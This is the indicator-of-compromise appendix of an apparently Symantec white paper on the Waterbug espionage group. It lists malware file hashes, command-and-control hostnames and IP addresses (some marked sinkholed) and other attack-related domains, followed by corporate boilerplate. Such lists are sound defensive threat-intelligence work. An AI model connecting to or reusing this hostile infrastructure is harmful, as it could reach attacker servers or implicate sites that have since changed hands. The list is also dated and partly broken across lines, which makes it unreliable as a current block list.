c3b6306692aed9821b11356
mail.9aac.ru;
http://kad.arbitr.ru/
http://9aas.arbitr.ru
9aas.arbitr.ru/
Generic bdf2a449f611836bc55117586d8b1b31
Generic dd5c6199cef69d4e2a1795e481d5f87d
Generic eeeccf09d64c6d32d67dbcedd25d47ac
Generic fa8715078d45101200a6e2bf7321aa04
Generic 2009-01-28
19:42:44
5943c25e20dffc0801ee1e38dc9e3ddd
Generic 2009-01-28
19:42:44
692512e5132315b115a0b197d7
ab6561
Generic 2009-07-13
23:56:35
f2c7bb8acc97f92e987a2d4087d021b1
Generic 2010-11-20
09:46:13
5746bd7e255dd6a8afa06f7c42c1ba41
Table 6. C&C servers used by the Waterbug group
C&C hostname / IP Address Sinkholed
communityeu.xp3.biz SINKHOLED
euassociate.6te.net SINKHOLED
euland.freevar.com SINKHOLED
eu-sciffi.99k.org
fifa-rules.25u.com
franceonline.sytes.net
greece-travel.servepics.com
hockey-news.servehttp.com
musicplanet.servemp3.com
music-world.servemp3.com
newutils.3utilities.com
nightday.comxa.com
north-area.bbsindex.com SINKHOLED
olympik-blog.4dq.com
pokerface.servegame.com
pressforum.serveblog.net
sanky.sportsontheweb.net
tiger.got-game.org
tiger.netii.net
toolsthem.xp3.biz SINKHOLED
top-facts.sytes.net
weather-online.hopto.org
wintersport.sytes.net

world-weather.zapto.org
x-files.zapto.org
booking.etowns.org SINKHOLED
easports.3d-game.com SINKHOLED
cheapflights.etowns.net SINKHOLED
academyawards.effers.com SINKHOLED
62.68.73.57
62.12.39.117
202.78.201.99
82.113.19.75
207.226.44.167
85.195.129.196
193.19.191.240
82.211.156.190
72.232.222.58
212.6.56.67
62.212.226.118
82.113.19.72
196.45.118.14
82.77.184.252
213.150.170.192
212.6.56.82
62.12.39.117
62.68.73.57
80.88.134.172
te4step.tripod.com
www.scifi.pages.at
support4u.5u.com
eu-sciffi.99k.org
winter.site11.com
soheylistore.ir
tazohor.com
jucheafrica.com
61paris.fr

For specific country offices and contact numbers, please visit our website.
Symantec World Headquarters
350 Ellis St.
Mountain View, CA 94043 USA
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1 (800) 721-3934
www.symantec.com
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and the Checkmark Logo are trademarks or
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Other names may be trademarks of their
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Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec
Corporation.
NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use
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typographical errors. Symantec reserves the right to make changes without prior notice.
About Symantec
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To learn more go to www.symantec.com or connect with
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WHITE PAPER▶ Symantec Security Response Presents:The Waterbug Attack Group

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WHITE PAPER▶ Symantec Security Response Presents:The Waterbug Attack Group